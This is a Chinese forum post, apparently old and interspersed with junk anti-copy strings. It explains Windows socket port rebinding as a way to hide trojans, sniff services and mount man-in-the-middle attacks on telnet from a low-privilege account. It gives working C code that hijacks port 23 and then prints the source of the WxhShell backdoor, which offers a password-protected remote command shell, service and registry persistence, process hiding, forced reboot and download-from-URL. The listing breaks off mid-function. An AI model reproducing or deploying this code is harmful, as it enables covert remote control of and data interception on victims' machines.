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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N~/D| ?P~2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xP+HdA2X  
FR%u1fi  
  saddr.sin_family = AF_INET; (Z{&[h  
BEfp3|Stb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @2HNYW)  
+2WvGRC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s1/:Ts[3i  
\8 ~`NF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H[S 4o,  
O,>`#?  
  这意味着什么?意味着可以进行如下的攻击: gXzp$#  
@j vF[wi;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6gSo>F4=  
vI)-Zz[3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `VB]4i}u  
6n}5>GSF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ejID5NqG  
1`;,_>8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xbeVq P  
'=^$ ;3Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I,pI2  
8&0+Az"{O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9iWs'M  
|x[zzx# >-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZV?~~_ 9  
q_sQC5:s  
  #include /%'>?8/  
  #include MK*WStY  
  #include ^9g+\W  
  #include    S@N:Cj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h 9B^U?<wT  
  int main() ^{vf|zZ _  
  { p%_m!   
  WORD wVersionRequested; ?'I[[KuG  
  DWORD ret; H+VKWGmfG  
  WSADATA wsaData; Gl+Ql?|  
  BOOL val; #t^y$9^  
  SOCKADDR_IN saddr; jw^Pt~@  
  SOCKADDR_IN scaddr; 2?)bpp$WZ  
  int err; xK3 xiR  
  SOCKET s; @n-[bN  
  SOCKET sc; ~PoBvHi  
  int caddsize; bkZ~O=uv$-  
  HANDLE mt; cjd Z.jR2  
  DWORD tid;   ) ag8]   
  wVersionRequested = MAKEWORD( 2, 2 ); C9`J6Uu  
  err = WSAStartup( wVersionRequested, &wsaData ); [ NSsT>C  
  if ( err != 0 ) { 7Z(F-B +j  
  printf("error!WSAStartup failed!\n"); :4ndU:.L  
  return -1; )AX0x1I|E  
  } E903T''s  
  saddr.sin_family = AF_INET; T vEN0RV2  
   *TjolE~o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b0~AN#Es  
|+^-b}0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b`4R`mo  
  saddr.sin_port = htons(23); :[#~,TW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Gpq=(q)  
  { $7#N@7  
  printf("error!socket failed!\n"); tPT\uD#t  
  return -1; Llf |fayq  
  } j:yQP# U  
  val = TRUE; T@n-^B!Xq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J| orvnkK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?D].Za^km  
  { $uA?c& e  
  printf("error!setsockopt failed!\n"); {|}tp<:2  
  return -1; 'wo[iNy[  
  } :J3ZTyjb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @$5GxIw<l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f PoC yl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YH VJg?H3  
iK*2 Z$`lw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9I a4PPEH1  
  { AxaabS$\  
  ret=GetLastError(); 1_Um6vS#  
  printf("error!bind failed!\n"); sckyG  
  return -1; >uok\sX  
  } &S}i)Nu6J  
  listen(s,2); k,L,  
  while(1) )`RF2Y-A7  
  { oKIry 8'^N  
  caddsize = sizeof(scaddr); Y",Fs(  
  //接受连接请求 `?P k~7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); apxZ}  
  if(sc!=INVALID_SOCKET) Ni$WI{e9  
  { ^A8'YTl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UTEUVcJ\  
  if(mt==NULL) pV#~$e  
  { |bQX9|L  
  printf("Thread Creat Failed!\n"); v;S7i>\  
  break; d}K"dr:W5  
  } f>)k<-<yj  
  } Azx4+`!-  
  CloseHandle(mt); Le9^,B@Pb  
  } 5oQy $Y  
  closesocket(s); P8K{K:T  
  WSACleanup(); )5Ddvz>+  
  return 0; ^$):Xz  
  }   k+>-?S,  
  DWORD WINAPI ClientThread(LPVOID lpParam) =,0E]M Z  
  { =`5Xx(  
  SOCKET ss = (SOCKET)lpParam; ,?GEL>F  
  SOCKET sc; + #gJ[Cc  
  unsigned char buf[4096]; )v1n#m,W  
  SOCKADDR_IN saddr; N"2Ire  
  long num; >Vr+\c  
  DWORD val; d `LBFH,  
  DWORD ret; 8kQ >M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VLW<"7I 6\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   75~>[JM  
  saddr.sin_family = AF_INET; =[!&&,c=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z'K&LH  
  saddr.sin_port = htons(23); `}gjfu -'\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0  ;$[  
  { +E7s[9/r  
  printf("error!socket failed!\n"); [*U6L<JI  
  return -1; B1>aR 7dsf  
  } ~:r:?PwWG  
  val = 100; !(PAUW S@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jrd:6Z  
  { Zr,:i MPZ  
  ret = GetLastError(); (J8 (_MF  
  return -1; c%_I|h<?iT  
  } VfOm#Ue0 q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '#REbY5ev  
  { tgy*!B6a~  
  ret = GetLastError(); t W ;1  
  return -1; y@"6Dt|  
  } RnV )*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s^F6sXhyPi  
  { MG<kvx~2  
  printf("error!socket connect failed!\n"); X(Gp3lG  
  closesocket(sc); A L|F Bd  
  closesocket(ss); OnE#8*8  
  return -1; SW|{)L,  
  } [+EmV>Y  
  while(1) iIFM 5CT  
  { L=4%MyZ.e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ) -x0xY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -J8&!S8X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zi l^^wT0J  
  num = recv(ss,buf,4096,0); +jQHf-l  
  if(num>0) t'Zq>y;yg  
  send(sc,buf,num,0); 'E FP/(2J  
  else if(num==0) mOG;[CB  
  break; ?5(Cwy ?  
  num = recv(sc,buf,4096,0); f& P'Kxj_  
  if(num>0) y/57 >.3  
  send(ss,buf,num,0); <7-:flQz~  
  else if(num==0) ^ Q]I)U  
  break; %O] ]La  
  } 34S0W]V  
  closesocket(ss); ]t$wK  
  closesocket(sc); -?L~\WJAL  
  return 0 ; W]b>k lp;  
  } ZoJ_I >uv  
JmL{&  
.|Unq`ll  
========================================================== Yxik .S+G  
a=n* }.  
下边附上一个代码,,WXhSHELL XFJGL!wWm[  
9yla &XTD  
========================================================== 1.29%O8V_  
o~<ith$A*  
#include "stdafx.h" x_Y03__/  
PM ]|S`  
#include <stdio.h> d)hA'k  
#include <string.h> >Pa&f20Hp  
#include <windows.h> *Ae> ,LyE  
#include <winsock2.h> CshYUr -  
#include <winsvc.h> ZSWKVTi  
#include <urlmon.h> haNi [|  
9BW"^$  
#pragma comment (lib, "Ws2_32.lib") )wT @`p"4  
#pragma comment (lib, "urlmon.lib") g~ubivl2  
+% E)]*Ym  
#define MAX_USER   100 // 最大客户端连接数 j _]#Ew\q  
#define BUF_SOCK   200 // sock buffer \PU7,*2  
#define KEY_BUFF   255 // 输入 buffer E}-Y!,v^  
_#;UXAi  
#define REBOOT     0   // 重启 'P'f`;'_DC  
#define SHUTDOWN   1   // 关机 3+:F2sjt  
jimWLF5Q5"  
#define DEF_PORT   5000 // 监听端口 y}aKL(AaU  
b { M'aV  
#define REG_LEN     16   // 注册表键长度 M%{,?a0V  
#define SVC_LEN     80   // NT服务名长度 7bk=D~/nSg  
$c^,TAN  
// 从dll定义API ~;)H |R5kV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =[_=y=G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WR :I2-1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /&>vhpZ}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d@b" ~r}  
Q}zd!*  
// wxhshell配置信息 :<QmG3F  
struct WSCFG { f3;.+hJ])  
  int ws_port;         // 监听端口 j'IZetT  
  char ws_passstr[REG_LEN]; // 口令 !_i;6UVG  
  int ws_autoins;       // 安装标记, 1=yes 0=no ja2BK\"1:  
  char ws_regname[REG_LEN]; // 注册表键名 [H4)p ,R  
  char ws_svcname[REG_LEN]; // 服务名 Y'&rSHI"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cPp<+ ts  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $R&K-;D/8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pB;8yz=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YP4lizs.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %96l(JlJ)B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <>71;%e;'  
Od]B;&F  
}; ` zoC++hx  
UD0#Tpd7  
// default Wxhshell configuration 1`q>*S](  
struct WSCFG wscfg={DEF_PORT, pP|LSr Y!  
    "xuhuanlingzhe", goje4;  
    1, -hU1wX%U  
    "Wxhshell", e8,!x9%J  
    "Wxhshell", nhImO@Q:  
            "WxhShell Service", o=)["V  
    "Wrsky Windows CmdShell Service", ^| r6>b  
    "Please Input Your Password: ", @3v[L<S{  
  1, .~AQxsGH  
  "http://www.wrsky.com/wxhshell.exe", !;%+1j?d  
  "Wxhshell.exe" E'^$~h$  
    }; =yCz!vc  
\ $Q?  
// 消息定义模块 EC8Fapy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iF^    
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ISx0l~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T`W37fz0  
char *msg_ws_ext="\n\rExit."; spG3"Eodi  
char *msg_ws_end="\n\rQuit."; 6|10OTVu`  
char *msg_ws_boot="\n\rReboot..."; Dd' 4W  
char *msg_ws_poff="\n\rShutdown..."; LXq0hI  
char *msg_ws_down="\n\rSave to "; u5I#5  
q]rqFP0C  
char *msg_ws_err="\n\rErr!"; 1zGhX]z  
char *msg_ws_ok="\n\rOK!"; %pUA$oUt  
4NDT5sL  
char ExeFile[MAX_PATH]; #q9cjEd_7  
int nUser = 0; S]g`Ds<  
HANDLE handles[MAX_USER]; #!7b3>}  
int OsIsNt; g$T% C?  
_%@ri]u{ov  
SERVICE_STATUS       serviceStatus; fl+dL#]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KYM%U" jD  
XJ6=Hg4_O  
// 函数声明 VpyqVbx1  
int Install(void); 8T"8C  
int Uninstall(void); LA4,o@V`  
int DownloadFile(char *sURL, SOCKET wsh); i:n1Di1~E  
int Boot(int flag); u!TMt8+c  
void HideProc(void); {1L{   
int GetOsVer(void); E6+ 6  
int Wxhshell(SOCKET wsl); +L-(Lz[p  
void TalkWithClient(void *cs); V7)<MY  
int CmdShell(SOCKET sock); 'tJ@+(tqw  
int StartFromService(void); ]EfM;'j[  
int StartWxhshell(LPSTR lpCmdLine); K-Fro~U  
H]PEE!C;xC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UI_u:a9Q/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fK10{>E1  
LNOz.2fr>  
// 数据结构和表定义 H:4? sR3  
SERVICE_TABLE_ENTRY DispatchTable[] = q 1~3T;Il  
{ 5 NN`tv  
{wscfg.ws_svcname, NTServiceMain}, :89AYqT"  
{NULL, NULL} c3!YA"5  
}; @WTzFjv@?4  
n}3fItSJ  
// 自我安装 >*"1`vcxF  
int Install(void) 2+}hsGnp  
{  Fm`c  
  char svExeFile[MAX_PATH]; ;6tGRh$b  
  HKEY key; ?vg|;Q  
  strcpy(svExeFile,ExeFile); <>R\lPI2  
[_1K1i"m  
// 如果是win9x系统,修改注册表设为自启动 @  Br?  
if(!OsIsNt) { +OfHa\Nz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JqP~2,T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *B%ulsm  
  RegCloseKey(key); -jcgxQH53  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,`U'q|b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * %w8bB  
  RegCloseKey(key); 3u&)6C?YM  
  return 0; _&K>fy3t&  
    } B<!WAw+  
  } wG",Obja  
} r%vO^8FQ  
else { _)-y&  
Tw@:sWC  
// 如果是NT以上系统,安装为系统服务 3GM9ZPeN:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a4x(lx&  
if (schSCManager!=0) 6'ia^om  
{ b&I{?'"%8  
  SC_HANDLE schService = CreateService U%l<48@8  
  ( O[\obi"}  
  schSCManager, A?ij  
  wscfg.ws_svcname, hg+0!DVx  
  wscfg.ws_svcdisp, d/l>~%bR  
  SERVICE_ALL_ACCESS, V@`A:Nc_>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )|IMhB+4  
  SERVICE_AUTO_START, z~\Y*\f^Y3  
  SERVICE_ERROR_NORMAL, p[:E$#W~;  
  svExeFile, :i/uRR  
  NULL, mE"},ksg  
  NULL, BiD}C  
  NULL, 0` UrB:  
  NULL, G\/7V L  
  NULL T )"U q  
  ); TUM7(-,9  
  if (schService!=0) _aK4[*jnqh  
  { +JPHQx'W  
  CloseServiceHandle(schService); t[HA86X  
  CloseServiceHandle(schSCManager); C252E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d D;r35h=  
  strcat(svExeFile,wscfg.ws_svcname); xL} ~R7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7N}==T89[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z-`-0@/A$  
  RegCloseKey(key); #({ 9M  
  return 0; T Y*uK  
    } ,Ep41v;T%`  
  } wfrSI:+>  
  CloseServiceHandle(schSCManager); =SpD6 9-H  
} Vc?=cQ'c  
} (sL!nRw  
XWYLa8Ef  
return 1; [ @`Ki  
} -/gAb<=  
hWfC"0  
// 自我卸载 XS`=8FQ  
int Uninstall(void) VZEDBZ x*  
{ 2y@y<38  
  HKEY key; I'a&n}j x  
Y0ouLUlI  
if(!OsIsNt) { RAi]9`*7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o.x<h";  
  RegDeleteValue(key,wscfg.ws_regname); :%kJ9zW  
  RegCloseKey(key); YCS8qEP&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :?J0e4.]  
  RegDeleteValue(key,wscfg.ws_regname); xe9V'wICp(  
  RegCloseKey(key); k!= jO#)Rd  
  return 0; *8#]3M]  
  } Z!SFJ{  
} 4I7;/ZgALQ  
} #F25,:hY  
else { GK8x<Aq%z  
+ -OnO7f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GZk{tTv  
if (schSCManager!=0) 4Up \_  
{ (5R_q.Wu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {j4J(dtO  
  if (schService!=0) $zYo~5M?i-  
  { oH]"F  
  if(DeleteService(schService)!=0) { HqKI|^  
  CloseServiceHandle(schService); ra>jVE0 `  
  CloseServiceHandle(schSCManager); ua HB\Uc  
  return 0; { ((|IvP`  
  } EhK5<v}  
  CloseServiceHandle(schService); /FW{>N1   
  } } D0Y8  
  CloseServiceHandle(schSCManager); fkW TO"f-  
} -]e@FNL  
} aH+n]J] =)  
aK4ZH}XHE"  
return 1; })^%>yLfc|  
} sV5S>*A[  
dPO|x+N,  
// 从指定url下载文件 <|R`N)AV;  
int DownloadFile(char *sURL, SOCKET wsh) <QZ X""  
{ TOvpv@?-  
  HRESULT hr; ?)i`)mu'  
char seps[]= "/"; R7j'XU  
char *token; WEVV2BJ  
char *file; f{j (H?5  
char myURL[MAX_PATH]; B`1"4[{  
char myFILE[MAX_PATH]; ,8/Con|o  
pR*)\@ma  
strcpy(myURL,sURL); DgiMMmpE  
  token=strtok(myURL,seps); * M,'F^E2  
  while(token!=NULL) 9]^ CDL  
  { PShluhY  
    file=token; ji :E  
  token=strtok(NULL,seps); BiI}JEp4o  
  } m#kJ((~  
@/yJTMcf  
GetCurrentDirectory(MAX_PATH,myFILE); f1}am<  
strcat(myFILE, "\\"); ;*=MI/"N  
strcat(myFILE, file); )Fw{|7@N  
  send(wsh,myFILE,strlen(myFILE),0); # mK?K  
send(wsh,"...",3,0); SB}0u=5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4(O;lVT}  
  if(hr==S_OK) ^g eC?m  
return 0; `SH#t3 5,  
else NP_b~e6O=  
return 1; _}RzJKl@  
%A ^qm  
} t3b64J[A{  
[sF z ;Py]  
// 系统电源模块 ^N`bA8  
int Boot(int flag) |wYOO(!  
{ 3duWk sERC  
  HANDLE hToken; e6JT|>9A7  
  TOKEN_PRIVILEGES tkp; <!qv$3/7  
Pk 6l*+"r<  
  if(OsIsNt) { 6}aH>(3!A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;[}<xw3):  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zz@0Oj!`  
    tkp.PrivilegeCount = 1; Rz_fNlA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z/&2Se:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ a?^2X^  
if(flag==REBOOT) { %:~LU]KX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '.8E_Jd0E  
  return 0; 1tMs\e-  
} 43p0k&;-7  
else { TtZ '~cGR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H*M)<"X  
  return 0; O^W.5SaR  
} ^A"TY  
  } o;D[ F  
  else { TDtS^(2A7K  
if(flag==REBOOT) { G6?+Qz r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W@( EEMhw  
  return 0; "\]NOA*  
} |re>YQ!zd  
else { RO?%0-6O&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zYW+Goz/C  
  return 0; r6#It$NU  
} 6AW{qU6  
} =ZaTD-%id  
ee0)%hc1t  
return 1; vg6 ' ^5S7  
} jZX2)#a!  
@TTB$  
// win9x进程隐藏模块 }%;o#!<N(@  
void HideProc(void) V&75n.L  
{ j~)GZV  
.*bu:FuDE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MI,b`pQ  
  if ( hKernel != NULL ) Q{~WWv  
  { vA r fsgk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =d{B.BP(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9 Z 5!3  
    FreeLibrary(hKernel); !Xzne_V<  
  } JQt Bt2  
DnZkZ;E/  
return; s$,gM,|cK  
} #J,?oe=<4  
N5SePA\ ,?  
// 获取操作系统版本 *C*'J7  
int GetOsVer(void) jM'kY|<g;  
{ c9c_7g'q-  
  OSVERSIONINFO winfo; >)&]Ss5J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TI9]v(  
  GetVersionEx(&winfo); Hlr[x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Id/-u[-yo  
  return 1; tlnU2TT_f  
  else ?C[W~m P  
  return 0; g{_wMf  
} ]&dU%9S  
(zO)J`z>  
// 客户端句柄模块 ~KW|<n4m  
int Wxhshell(SOCKET wsl) k\qF> =  
{ )M!6y%b67  
  SOCKET wsh; :U}.  
  struct sockaddr_in client; TBGN',,  
  DWORD myID; _=wu>h&7  
[vJLj>@  
  while(nUser<MAX_USER) I)B+h8l72<  
{ _shoh  
  int nSize=sizeof(client); "\x<Zg;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #'@pL0dj  
  if(wsh==INVALID_SOCKET) return 1; 8{t^< j$n  
zree}VqD;5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fnwhkL#8  
if(handles[nUser]==0) ~q.a<B`,t  
  closesocket(wsh); vIL'&~C\y  
else L>&o_bzp  
  nUser++; Qrnc;H9)  
  } !Rq.L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1TagQ  
<yw6Om:n<  
  return 0; xE2sb*  
} &RzkM4"  
=nQgS.D  
// 关闭 socket 'nrX RDb  
void CloseIt(SOCKET wsh) gB;5&;T:  
{ 0I`)<o-  
closesocket(wsh); /oWn0  
nUser--; eYN =?  
ExitThread(0); /*zngp @  
} oV(|51(f  
X4c|*U=4  
// 客户端请求句柄 EU@ BNja  
void TalkWithClient(void *cs) _5nS!CN  
{ 8%@![$q<g  
?nLlZpZ2v  
  SOCKET wsh=(SOCKET)cs; Cw*:`  
  char pwd[SVC_LEN]; W7_j;7'  
  char cmd[KEY_BUFF]; T ke3X\|  
char chr[1]; vpS&w  
int i,j; 4Pbuv6`RK  
kgq"b)  
  while (nUser < MAX_USER) { y .O%  
m>H+noc^  
if(wscfg.ws_passstr) {  ?)_?YLi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y*BS %xTF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?YeUA =[MC  
  //ZeroMemory(pwd,KEY_BUFF); eWgqds&#  
      i=0; pdz_qj!Z  
  while(i<SVC_LEN) { va>u1S<lO  
4P406,T]r  
  // 设置超时 6ka, FjJ\  
  fd_set FdRead; 4dEfXrMf  
  struct timeval TimeOut; {CO]wqEj  
  FD_ZERO(&FdRead); iOFp9i=j  
  FD_SET(wsh,&FdRead); AqdQiZ^9  
  TimeOut.tv_sec=8; K-a~Kr  
  TimeOut.tv_usec=0; <Z nVWER  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L[|($vQ"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _|'e Az   
hyHeyDO2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z!M8lpI M  
  pwd=chr[0];  4 Wb^$i!  
  if(chr[0]==0xd || chr[0]==0xa) { hLv~N}  
  pwd=0; s9Tp(Yr,k  
  break; ""; Bq*Y#  
  } nmH1Wg*aW  
  i++; sRMz[n 5k  
    } !T'`L{Sj  
ag_RKlM3  
  // 如果是非法用户,关闭 socket k Y}r^NaQA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [1LlzCAFBw  
} pM|m*k  
DR%16y<h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V!{}%;f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fj7\MTy  
vhEqHjR:  
while(1) { 2`Ojw_$W7  
=ObI  
  ZeroMemory(cmd,KEY_BUFF); 3Uy48ue  
8p;|&7  
      // 自动支持客户端 telnet标准   iF_#cmSy$  
  j=0; 3tt3:`g  
  while(j<KEY_BUFF) { f"{|c@%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YQH=]5r  
  cmd[j]=chr[0]; )$> pu{o  
  if(chr[0]==0xa || chr[0]==0xd) { KE~l#=S  
  cmd[j]=0; $+P6R`K  
  break; 4kNiS^h  
  } I: L}7uA[t  
  j++; ma gZmY~  
    }  [f1'Qb  
Fv<^\q  
  // 下载文件 Fx3CY W  
  if(strstr(cmd,"http://")) { e #5LBSP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (2SmB`g   
  if(DownloadFile(cmd,wsh)) \~r`2p-K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cwh*AKq(  
  else or8`.h EHI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *%nV<}e^_=  
  } xpO'.xEs  
  else { TEzMFu+V  
9sgyg3fv>5  
    switch(cmd[0]) { pGsk[.  
  k6}M7 &nY  
  // 帮助 *K57($F  
  case '?': {  v<_wf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &P0jRT3e#Y  
    break; v>[U*E  
  } w YEkWB^  
  // 安装 &c|3v!  
  case 'i': { 4X1!t   
    if(Install()) vOIzfwYG9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - K@mjN  
    else LwI A4$d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O-=~Bn _  
    break; C)a;zU;9  
    } YcmLc)a7  
  // 卸载 1Mtm?3Pt  
  case 'r': { t++ a  
    if(Uninstall()) 5Y3L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l!d |luqbA  
    else &>xd6-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (v)/h>vS  
    break; DD?zbN0X  
    } }g9g]\.!a  
  // 显示 wxhshell 所在路径 2}BQ=%E!'  
  case 'p': { rP7[{'%r  
    char svExeFile[MAX_PATH]; }#<mK3MBe  
    strcpy(svExeFile,"\n\r"); T[L7-5U0  
      strcat(svExeFile,ExeFile); 4%GwCEnS  
        send(wsh,svExeFile,strlen(svExeFile),0); 9*<=K  
    break; u^ 3,~:E  
    } JQ~[$OGH  
  // 重启 SJJ[y"GvD  
  case 'b': { "C/X#y   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Rp/y%9  
    if(Boot(REBOOT)) ] oMtqkiR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y!kU0  
    else { [Nw%fuB  
    closesocket(wsh); wyi%!H  
    ExitThread(0); E5+-N  
    } j(>~:9I`  
    break; _no;B_m~  
    } +@"Ls P  
  // 关机 e*!0|#-  
  case 'd': { 9 \lSN5W  
